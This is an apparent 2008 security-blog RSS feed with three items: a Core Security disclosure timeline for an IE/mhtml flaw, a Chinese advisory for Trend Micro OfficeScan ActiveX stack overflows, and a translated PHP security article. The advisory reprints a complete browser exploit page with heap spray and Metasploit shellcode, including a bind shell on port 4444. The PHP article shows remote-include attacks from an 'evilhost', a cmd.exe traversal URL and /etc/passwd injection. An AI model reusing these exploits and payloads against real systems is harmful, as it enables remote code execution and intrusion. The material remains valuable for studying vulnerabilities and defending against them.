Pack<br>2. The issue is scheduled to be addressed in the April 08 Internet<br>Explorer Security bulletin. Vendor asks Core to delay the publication of<br>the advisory until a fix is released.<br>. 2008-01-22: Core responds that it intends to publish the advisory as<br>&quot;coordinated release&quot; when fixed versions are made available. However<br>external circumstances (e.g. the bug being exploited in the wild) may<br>force an earlier release. Core confirms that it plans to release the<br>Proof of Concept code sent to Microsoft with the advisory draft.<br>. 2008-02-29: Core asks for updated information concerning this issue.<br>. 2008-03-04: Vendor states that there are issues discovered with the<br>package that the Outlook Express team is investigating that could impact<br>the release date.<br>. 2008-03-04: Core awaits updated information.<br>. 2008-03-11: Vendor communicates that an April release is not looking<br>likely.<br>. 2008-03-13: Core informs the vendor that the Beta release of IE 8 is<br>also vulnerable, and asks for a clarification about the mention of the<br>Outlook Express team.<br>. 2008-03-13: Vendor responds that the group that manages Outlook<br>Express/Windows Mail is responsible for addressing this issue and owns<br>the code. Vendor states that it is not likely that the issue will be<br>addressed in April, and that the next ship date would be June.<br>. 2008-04-01: Core requests detailed information about the nature of the<br>fix, and why it is taking so long. In particular, Core inquires about<br>the root cause of the problem; any potential workarounds/mitigation<br>mechanisms; whether there is a way to exploit this problem with<br>Protected Mode turned ON on Vista; and why May is not a possible ship date.<br>. 2008-04-01: Vendor responds that the issue is planned to be addressed<br>in a June security update; that locking down the mhtml protocol and<br>disabling the handler is a possible workaround; that the involved<br>product team performs in-depth testing every two months and that given<br>the impact of security issues they prefer to take an in-depth approach<br>(this is why it is not possible to release the fix in May).<br>. 2008-05-21: Vendor informs Core that the issue will be addressed in a<br>June Outlook Express bulletin.<br>. 2008-05-21: Core requests a clarification about the technical<br>rationale for releasing the information as an Outlook Express bulletin<br>and the corresponding patches associated to Outlook Express rather than<br>Internet Explorer.<br>. 2008-05-21: Vendor responds that the code where the root cause was<br>found is owned and shipped by the Outlook Express/Windows Mail team; and<br>that Internet Explorer is just the attack vector.<br>. 2008-05-21: Core requests further technical clarification, since<br>categorizing this issue as an &quot;Outlook Express&quot; problem may be<br>misleading. Core requests a technical assessment of the concept that<br>Internet Explorer is just an attack vector in this case.<br>. 2008-06-02: Vendor informs that the necessary packages for Windows<br>2000 were not built; and that this delay will push the release plan back<br>to July.<br>. 2008-06-02: Core again requests technical information about the nature<br>and root cause of the bug. Given that Microsoft has decided not to<br>release the readily available patches for Windows XP, 2003 and Vista,<br>Core decides to re-schedule the publication of its security advisory<br>CORE-2008-0103 to June 11th, 2008.<br>. 2008-06-02: Vendor responds that the issue is in mhtml which is a<br>component of Outlook/Windows mail; that Internet Explorer is a vector<br>and not where the issue lies; that Microsoft only releases a fix when<br>all platforms have been addressed, since the current fix is missing for<br>Windows 2000, releasing it would put out customers on that platform at risk.<br>. 2008-06-02: Core replies that the vendor&#39;s response is still missing a<br>technical description and sound analysis of the problem. In particular,<br>mhtml is one component used in the reported attack scenario, but the<br>fact that scripting code can be inserted in a cookie file and the fact<br>that a redirect to an UNC path pointing at the localhost filesystem<br>makes IE transition to the Local Security Zone may or may not be a<br>security weakness and may or may not be related to mhtml. Core also<br>states that by delaying publication of the currently available patches<br>to users that could fix the problem immediately, the vendor is<br>penalizing them and maintaining them at risk unnecessarily.<br>. 2008-06-03: Vendor requests details of the claim that the issue can be<br>reproduced without OE/Mail being installed. Vendor proposes to arrange a<br>conference call to discuss the technical issue.<br>. 2008-06-03: Core responds that in fact the issue can be reproduced<br>after OE has been un-installed; that Core prefers to continue the<br>discussion by email, to keep the advisories on the loop and to properly<br>document communications with the vendor. Core requests a response to the<br>proposal that Microsoft releases the patches that are ready in the June<br>update and the remaining ones for Windows 2000 in July.<br>. 2008-06-04: Vendor states that the product team has verified the mhtml<br>protocol (inetcomm.dll) as the root cause, and has verified this by<br>deleting inetcomm.dll, which has resulted in being unable to reproduce<br>the issue. Due to the mhtml protocol being owned by Outlook/Windows<br>Mail, they are responsible for the fix. Vendor states that it will not<br>release the current patches and expose their Windows 2000 customers,<br>unless it sees active exploitation of this issue.<br>. 2008-06-05: Core responds that a better strategy to protect customers<br>is to release the official patches that are readily available and to<br>provide specific guidance and workarounds for use on vulnerable systems<br>for which there are no official patches ready; and that disabling the<br>mhtml protocol handler seems to be the most effective workaround.<br>. 2008-07-08: Vendor requests a PGP key to send a fix to be tested by Core.<br>. 2008-07-08: Core provides the key. Core states that Microsoft did not<br>release patches for any of platforms vulnerable to this problem,<br>although the July patch release date has already passed (which was the<br>previously planned date for publication indicated by MSRC on their email<br>from June 2nd). Given the criticality of the bug, the multiple<br>disconnections in the communications and Microsoft&#39;s repeated failure to<br>meet its own patch release dates, Core is considering to proceed with<br>the publication of the advisory under &quot;user release&quot; mode.<br>. 2008-07-08: Vendor communicates that the development team had recently<br>completed developing the fix; that although July was originally<br>indicated as a possible release window, the development team concluded<br>that extra testing would be necessary, preventing a July release; vendor<br>reports that if further issues are identified during the test process,<br>that may impact the tentative August release date.<br>. 2008-07-08: Core discusses the fact that passing from the Restricted<br>Sites zone or Internet zone to Intranet Zone or LMZ using a UNC path<br>should not be allowed if the same behavior is not allowed for the<br>non-UNC equivalent URI.<br>. 2008-08-08: Core requests updated information about the release date<br>of fixes, in particular if fixes will be issued in the August security<br>update.<br>. 2008-08-12: Microsoft Security Bulletin MS08-048 is released.<br>. 2008-08-13: Advisory CORE-2008-0103 is published.<br><br>*References*<br><br>[1] Microsoft Security Bulletin MS08-048<br><a target='_blank' href='http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx'><a target='_blank' href='http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx'>http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx</a></a><br>[2] <a target='_blank' href='http://msdn2.microsoft.com/en-us/library/ms537183.aspx'>http://msdn2.microsoft.com/en-us/library/ms537183.aspx</a><br>[3] <a target='_blank' href='http://msdn2.microsoft.com/en-us/library/ms775147.aspx'>http://msdn2.microsoft.com/en-us/library/ms775147.aspx</a><br><br>*About CoreLabs*<br><br>CoreLabs, the research center of Core Security Technologies, is charged<br>with anticipating the future needs and requirements for information<br>security technologies. We conduct our research in several important<br>areas of computer security including system vulnerabilities, cyber<br>attack planning and simulation, source code auditing, and cryptography.<br>Our results include problem formalization, identification of<br>vulnerabilities, novel solutions and prototypes for new technologies.<br>CoreLabs regularly publishes security advisories, technical papers,<br>project information and shared software tools for public use at:<br><a target='_blank' href='http://www.coresecurity.com/corelabs/.'>http://www.coresecurity.com/corelabs/.</a><br><br>*About Core Security Technologies*<br><br>Core Security Technologies develops strategic solutions that help<br>security-conscious organizations worldwide develop and maintain a<br>proactive process for securing their networks. The company&#39;s flagship<br>product, CORE IMPACT, is the most comprehensive product for performing<br>enterprise security assurance testing. CORE IMPACT evaluates network,<br>endpoint and end-user vulnerabilities and identifies what resources are<br>exposed. It enables organizations to determine if current security<br>investments are detecting and preventing attacks. Core Security<br>Technologies augments its leading technology solution with world-class<br>security consulting services, including penetration testing and software<br>security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core<br>Security Technologies can be reached at 617-399-6980 or on the Web at<br><a target='_blank' href='http://www.coresecurity.com.'>http://www.coresecurity.com.</a><br><br>*Disclaimer*<br><br>The contents of this advisory are copyright (c) 2008 Core Security<br>Technologies and (c) 2008 CoreLabs, and may be distributed freely<br>provided that no fee is charged for this distribution and proper credit<br>is given.<br><br>*GPG/PGP Keys*<br><br>This advisory has been signed with the GPG key of Core Security<br>Technologies advisories team, which is available for download at<br><a target='_blank' href='http://www.coresecurity.com/files/attachments/core_security_advisories.a'>http://www.coresecurity.com/files/attachments/core_security_advisories.a</a><br>sc.<br><br>-----BEGIN PGP SIGNATURE-----<br>Version: GnuPG v1.4.8 (MingW32)<br>Comment: Using GnuPG with Mozilla - <a target='_blank' href='http://enigmail.mozdev.org'>http://enigmail.mozdev.org</a><br><br>iEYEARECAAYFAkijS5YACgkQyNibggitWa2QWQCfRF+fiW+V+J+aeCNHlLxctOGp<br>S04AoKz5UU+RxTL+92J084/mw/ovWCD+<br>=5p6r<br>-----END PGP SIGNATURE-----<br></td>
</tr>
</table>
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1071]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1071]]></guid>
    <dc:subject><![CDATA[技术]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-08-14T21:14:33Z</dc:date>
  </item>

	<item>
    <title><![CDATA[趋势科技OfficeScan OfficeScanRemoveCtrl.dll控件多个栈溢出漏洞]]></title>
    <description><![CDATA[发布日期：2008-07-28
更新日期：2008-07-29

受影响系统：
Trend Micro OfficeScan Corporate Edition 7.3 Build 1314
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 30407

OfficeScan是一种针对整...]]></description>
    <content:encoded><![CDATA[发布日期：2008-07-28<br>更新日期：2008-07-29<br><br>受影响系统：<br>Trend Micro OfficeScan Corporate Edition 7.3 Build 1314<br>描述：<br>--------------------------------------------------------------------------------<br>BUGTRAQ  ID: 30407<br><br>OfficeScan是一种针对整个网段的分布式杀毒软件。<br><br>OfficeScan的Web控制台在通过Web接口部署产品时会使用一些ActiveX控件，其中的objRemoveCtrl控件（OfficeScanRemoveCtrl.dll，CLSID为{5EFE8CB1-D095-11D1-88FC-0080C859833B}）中用于显示某些属性及其值的代码存在多个栈溢出漏洞。如果用户受骗访问了恶意网页并向有漏洞的属性参数传送了超长字符串的话，就可以触发这些溢出，导致执行任意代码。<br><br>如果要利用这个漏洞，控件必须以可视的方式嵌入到网页中，也就是obj = new ActiveXObject()不会起作用。以下是有漏洞的属性：<br><br>HttpBased<br>LatestPatternServer<br>LatestPatternURL<br>LocalServerPort<br>MasterDirectory<br>MoreFiles<br>PatternFilename<br>ProxyLogin<br>ProxyPassword<br>ProxyPort<br>ProxyServer<br>RegistryINIFilename<br>Server<br>ServerIniFile<br>ServerPort<br>ServerSubDir<br>ServiceDisplayName<br>ServiceFilename<br>ServiceName<br>ShellExtensionFilename<br>ShortcutFileList<br>ShortcutNameList<br>UninstallPassword<br>UnloadPassword<br>UseProxy<br><br>&lt;*来源：Elazar Broad （elazarb@earthlink.net）<br>  <br>  链接：<a target='_blank' href='http://marc.info/?l=full-disclosure&amp;m=121726533107741&amp;w=2'>http://marc.info/?l=full-disclosure&amp;m=121726533107741&amp;w=2</a><br>*&gt;<br><br>测试方法：<br>--------------------------------------------------------------------------------<br><br>警 告<br><br>以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<br><br>&lt;!-- <br>Trend Micro OfficeScan ObjRemoveCtrl ActiveX Control Buffer Overflow Exploit<br>written by e.b.<br>Tested on Windows XP SP2(fully patched) English, IE6 + IE7, OfficeScan 7.3 patch 4, OfficeScanRemoveCtrl.dll version 7.3.0.1020<br>The control is installed when you install OfficeScan through the server web console.<br>This was fixed in OfficeScan 8.x(uses strcpy_s which throws INVALID_PARAMETER, still crashes the browser though)<br>Thanks to h.d.m. and the Metasploit crew<br>--&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>  &lt;title&gt;Trend Micro OfficeScan ObjRemoveCtrl ActiveX Control Buffer Overflow Exploit&lt;/title&gt;<br>  &lt;script language=&quot;JavaScript&quot; defer&gt;<br>    function Check() {<br>     <br>   <br><br><br>// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 <a target='_blank' href='http://metasploit.com'>http://metasploit.com</a> <br>var shellcode1 = unescape(&quot;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949&quot; +<br>                          &quot;%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a&quot; +<br>                          &quot;%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241&quot; +<br>                          &quot;%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c&quot; +<br>                          &quot;%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c&quot; +<br>                          &quot;%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f&quot; +<br>                          &quot;%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b&quot; +<br>                          &quot;%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c&quot; +<br>                          &quot;%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831&quot; +<br>                          &quot;%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955&quot; +<br>                          &quot;%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b&quot; +<br>                          &quot;%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b&quot; +<br>                          &quot;%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44&quot; +<br>                          &quot;%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35&quot; +<br>                          &quot;%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530&quot; +<br>                          &quot;%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b&quot; +<br>                          &quot;%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c&quot; +<br>                          &quot;%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63&quot; +<br>                          &quot;%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f&quot; +<br>                          &quot;%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377&quot; +<br>                          &quot;%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f&quot; +<br>                          &quot;%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035&quot; +<br>                          &quot;%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653&quot; +<br>                          &quot;%u314e%u7475%u7038%u7765%u4370&quot;);<br><br>// win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 <a target='_blank' href='http://metasploit.com'>http://metasploit.com</a> <br>var shellcode2 = unescape(&quot;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949&quot; +<br>                          &quot;%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a&quot; +<br>                          &quot;%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241&quot; +<br>                          &quot;%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c&quot; +<br>                          &quot;%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f&quot; +<br>                          &quot;%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c&quot; +<br>                          &quot;%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f&quot; +<br>                          &quot;%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b&quot; +<br>                          &quot;%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c&quot; +<br>                          &quot;%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31&quot; +<br>                          &quot;%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35&quot; +<br>                          &quot;%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b&quot; +<br>                          &quot;%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663&quot; +<br>                          &quot;%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733&quot; +<br>                          &quot;%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470&quot; +<br>                          &quot;%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358&quot; +<br>                          &quot;%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f&quot; +<br>                          &quot;%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458&quot; +<br>                          &quot;%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58&quot; +<br>                          &quot;%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f&quot; +<br>                          &quot;%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275&quot; +<br>                          &quot;%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45&quot; +<br>                          &quot;%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033&quot; +<br>                          &quot;%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046&quot; +<br>                          &quot;%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035&quot; +<br>                          &quot;%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036&quot; +<br>                          &quot;%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64&quot; +<br>                          &quot;%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35&quot; +<br>                          &quot;%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67&quot; +<br>                          &quot;%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30&quot; +<br>                          &quot;%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f&quot; +<br>                          &quot;%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246&quot; +<br>                          &quot;%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139&quot; +<br>                          &quot;%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652&quot; +<br>                          &quot;%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e&quot; +<br>                          &quot;%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b&quot; +<br>                          &quot;%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075&quot; +<br>                          &quot;%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251&quot; +<br>                          &quot;%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f&quot; +<br>                          &quot;%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f&quot; +<br>                          &quot;%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b&quot; +<br>                          &quot;%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952&quot; +<br>                          &quot;%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73&quot; +<br>                          &quot;%u684f%u3956%u386f%u4350&quot;);<br><br><br>    var bigblock = unescape(&quot;%u0A0A%u0A0A&quot;);<br>    var headersize = 20;<br>    var slackspace = headersize + shellcode1.length;<br>    while (bigblock.length &lt; slackspace) bigblock += bigblock;<br>    var fillblock = bigblock.substring(0,slackspace);<br>    var block = bigblock.substring(0,bigblock.length - slackspace);<br>    while (block.length + slackspace &lt; 0x40000) block = block + block + fillblock;<br><br>    var memory = new Array();<br>    for (i = 0; i &lt; 330; i++){ memory[i] = block + shellcode1 }<br>    <br>    var buf = &#39;&#39;;<br>    while (buf.length &lt; 1008) buf = buf + unescape(&quot;%0A%0A&quot;);<br>        <br>    obj.Server = buf;<br>}   <br>   &lt;/script&gt;<br>  <br>  <br>&lt;/head&gt;<br>&lt;body onload=&quot;JavaScript: return Check();&quot;&gt;<br>    &lt;object classid=&quot;clsid:5EFE8CB1-D095-11D1-88FC-0080C859833B&quot; id=&quot;obj&quot; size=&quot;0&quot; width=&quot;0&quot;&gt;<br>            Unable to create object<br>    &lt;/object&gt;<br><br>&lt;/body&gt;<br>&lt;/html&gt;<br><br>建议：<br>--------------------------------------------------------------------------------<br>厂商补丁：<br><br>Trend Micro<br>-----------<br>目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：<br><br><a target='_blank' href='http://www.antivirus.com/'>http://www.antivirus.com/</a>
		<br><br><link href="http://qmsqlwebshell.7766.org/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1070]]></link>
		<guid isPermaLink="false"><![CDATA[http://qmsqlwebshell.7766.org/blogview.asp?logID=1070]]></guid>
    <dc:subject><![CDATA[Exploits & Codes]]></dc:subject>
    <dc:creator><![CDATA[Admin]]></dc:creator>
    <dc:date>2008-07-30T15:07:49Z</dc:date>
  </item>

	<item>
    <title><![CDATA[如何对PHP程序中的常见漏洞进行攻击]]></title>
    <description><![CDATA[之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。 Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http: //www.securereality.com.au /studyinscarlet.txt找到。 
由于原文比较...]]></description>
    <content:encoded><![CDATA[之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。 Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http: //www.securereality.com.au /studyinscarlet.txt找到。 <br>由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PHP安全方面的内容，因此我没有翻译。如果你想了解这方面的知识，请参考原文。 <br>文章主要从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性，并且对如何增强PHP的安全性提出了一些有用的建议。 <br>好了，废话少说，我们言归正传！<br><br>[全局变量] <br><br>PHP 中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型也不需要指定，它们会根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其 方便的处理方法。很显然，这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很 少初始化变量，毕竟，当它们第一次创建时，他们是空的。 <br>很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。 <br>例如： <br>&lt;FORM METHOD=&quot;GET&quot; ACTION=&quot;test.php&quot;&gt; <br>&lt;INPUT TYPE=&quot;TEXT&quot; NAME=&quot;hello&quot;&gt; <br>&lt;INPUT TYPE=&quot;SUBMIT&quot;&gt; <br>&lt;/FORM&gt; <br>很 显然，这会显示一个文本框和提交按钮。当用户点击提交按钮时，&quot;test.php&quot;会处理用户的输入，当&quot;test.php&quot;运行时，&quot;$hello&quot; 会 包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用 &quot;test.php&quot;，而是直接在浏览器地址栏输入<a target='_blank' href='http://server/test.php?hello=hi&amp;setup=no，那么，'>http://server/test.php?hello=hi&amp;setup=no，那么，</a> 不止是&quot;$hello&quot;被创建，&quot;$setup&quot;也被创建了。 <br>译者注：这两种方法也就是我们通常说的&quot;POST&quot;和&quot;GET&quot;方法。 <br>下面的用户认证代码暴露了PHP的全局变量所导致的安全问题： <br>&lt;?php <br>if ($pass == &quot;hello&quot;) <br>$auth = 1; <br>... <br>if ($auth == 1) <br>echo &quot;some important information&quot;; <br>?&gt; <br>上面的代码首先检查用户的密码是否为&quot;hello&quot;，如果匹配的话，设置&quot;$auth&quot;为&quot;1&quot;，即通过认证。之后如果&quot;$suth&quot;为&quot;1&quot;的话，就会显示一些重要信息。 <br>表 面看起来是正确的，而且我们中有相当一部分人是这样做的，但是这段代码犯了想当然的错误，它假定&quot;$auth&quot;在没有设置值的时候是空的，却没有想到攻击 者可以创建任何全局变量并赋值，通过类似&quot;<a target='_blank' href='http://server/test.php?auth=1&quot;的方法，我们完全可以欺骗这段代码，使它相信我'>http://server/test.php?auth=1&quot;的方法，我们完全可以欺骗这段代码，使它相信我</a> 们是已经认证过的。 <br>因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。 <br>一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开&quot;track_vars&quot;选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。 <br>但 是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量， HTTP_POST_VARS数组用于处理POST方式提交的变量，HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于 HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数 组中，因此一个安全的PHP程序应该检查这四个数组。 <br><br>[远程文件] <br><br>PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者实现某个功能很容易。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就是说明这个问题的一个很好的例子： <br>&lt;?php <br>if (!($fd = fopen(&quot;$filename&quot;, &quot;r&quot;)) <br>echo(&quot;Could not open file: $filename&lt;BR&gt; &quot;); <br>?&gt; <br>上 面的脚本试图打开文件&quot;$filename&quot;，如果失败就显示错误信息。很明显，如果我们能够指定&quot;$filename&quot;的话，就能利用这个脚本浏览系统 中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程 文件的处理是透明的。 <br>例如： <br>如果指定&quot;$filename&quot;为&quot;<a target='_blank' href='http://target/&#115;cripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir&quot;'>http://target/&#115;cripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir&quot;</a> <br>则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。 <br>这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。 <br>例如： <br>&lt;?php <br>include($libdir . &quot;/languages.php&quot;); <br>?&gt; <br>上 例中&quot;$libdir&quot;一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得&quot;$libdir&quot;没有被设置的话，那么他就可以改变这个路径。但是 攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的&quot;Poison null byte&quot;攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件 languages.php，包含如下内容： <br>&lt;?php <br>passthru(&quot;/bin/ls /etc&quot;); <br>?&gt; <br>然后把&quot;$libdir&quot;设置为&quot;<a target='_blank' href='http://&lt;evilhost&gt;/&quot;，这样我们就可以在目标主机上执行上面的攻击代码，&quot;/etc&quot;目录的内容作为结果返回到客户的浏览器中。'>http://&lt;evilhost&gt;/&quot;，这样我们就可以在目标主机上执行上面的攻击代码，&quot;/etc&quot;目录的内容作为结果返回到客户的浏览器中。</a> <br>需要注意的是，攻击服务器（也就是evilhost）应该不能执行PHP代码，否则攻击代码会在攻击服务器，而不是目标服务器执行，如果你想了解具体的技术细节，请参考：<a target='_blank' href='http://www.securereality.com.au/sradv00006.txt'>http://www.securereality.com.au/sradv00006.txt</a> <br><br>[文件上载] <br><br>PHP自动支持基于RFC 1867的文件上载，我们看下面的例子： <br>&lt;FORM METHOD=&quot;POST&quot; ENCTYPE=&quot;multipart/form-data&quot;&gt; <br>&lt;INPUT TYPE=&quot;FILE&quot; NAME=&quot;hello&quot;&gt; <br>&lt;INPUT TYPE=&quot;HIDDEN&quot; NAME=&quot;MAX_FILE_SIZE&quot; VALUE=&quot;10240&quot;&gt; <br>&lt;INPUT TYPE=&quot;SUBMIT&quot;&gt; <br>&lt;/FORM&gt; <br>上 面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式使这项功能变的不安全。当 PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过 &quot;$MAX_FILE_SIZE variable&quot;定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。 <br>因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。 <br>这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。 <br>让 我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机 的，类似&quot;phpxXuoXG&quot;的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP 3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。 <br>但是，我们可以肯定的说，问题还是存在的，大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子： <br>$hello = Filename on local machine (e.g &quot;/tmp/phpxXuoXG&quot;) <br>$hello_size = Size in bytes of file (e.g 1024) <br>$hello_name = The original name of the file on the remote system (e.g &quot;c: emphello.txt&quot;) <br>$hello_type = Mime type of uploaded file (e.g &quot;text/plain&quot;) <br>然后PHP程序开始处理根据&quot;$hello&quot;指定的文件，问题在于&quot;$hello&quot;不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式： <br><a target='_blank' href='http://vulnhost/vuln.php?hello=/etc/passwd&amp;hello_size=10240&amp;hello_type=text/plain&amp;hello_name=hello.txt'>http://vulnhost/vuln.php?hello=/etc/passwd&amp;hello_size=10240&amp;hello_type=text/plain&amp;hello_name=hello.txt</a> <br>就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））： <br>$hello = &quot;/etc/passwd&quot; <br>$hello_size = 10240 <br>$hello_type = &quot;text/plain&quot; <br>$hello_name = &quot;hello.txt&quot; 